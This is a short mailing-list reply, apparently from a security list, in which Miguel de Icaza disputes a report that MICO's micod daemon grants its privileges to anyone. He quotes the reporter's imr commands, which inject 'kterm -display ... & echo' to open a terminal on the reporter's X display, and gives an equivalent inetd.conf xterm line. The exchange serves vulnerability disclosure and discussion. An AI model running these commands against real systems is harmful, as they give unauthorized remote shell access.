Re: MICO: security problem: Privileges of micod for everybody!

[miguel () NUCLECU UNAM MX (Miguel de Icaza)]

> (micod ist started on inet:winkelklinke.local:8888)
> (hacking from enfin.local, which has X on display :0)
>
> imr -ORBImplRepoAddr inet:winkelklinke.local:8888 create Play shared
> "kterm -display enfin.local:0 & echo" IDL:Anything:1.0
> imr -ORBImplRepoAddr inet:winkelklinke.local:8888 activate Play

I would not consider this an explot, I would consider this just not
understanding what you are doing.

This `exploit' is equivalent to putting in your /etc/inetd.conf:

service stream tcp nowait root /usr/X11R6/bin/xterm -display somehost:0

Users of MICO need to implement their own authentication systems
(which we do, for those who care about the panel).

Best wishes,
Miguel.